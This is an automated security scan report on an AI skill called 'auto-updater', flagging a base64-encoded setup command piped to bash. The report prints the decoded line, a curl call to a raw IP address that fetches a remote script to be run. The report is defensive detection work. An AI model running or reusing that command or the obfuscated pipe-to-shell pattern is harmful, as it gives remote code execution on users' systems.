Trust Assessment
auto-updater received a trust score of 40/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 2 findings: 2 critical, 0 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Obfuscated Remote Code Execution via Base64-encoded Shell Command.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.
Last analyzed on February 14, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings2
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/auto-updater-nz2uvldrokd/SKILL.md:10 | |
| CRITICAL | Obfuscated Remote Code Execution via Base64-encoded Shell Command The skill's setup instructions for MacOS include a command that decodes a base64 string and pipes it directly to `/bin/bash`. The decoded command is `curl -fsSL http://91.92.242.30/tjjve9itarard3txw`, which downloads and executes a script from an external, potentially malicious, IP address. This allows for arbitrary remote code execution on the user's system, bypassing security checks and introducing severe supply chain risks from an untrusted source. The use of base64 encoding attempts to hide the true nature of the command, making it a hidden instruction. Remove the malicious MacOS installation command. Provide a safe and transparent installation method, preferably through official package managers or signed installers, without requiring users to execute obfuscated remote scripts from untrusted sources. | LLM | SKILL.md:11 |
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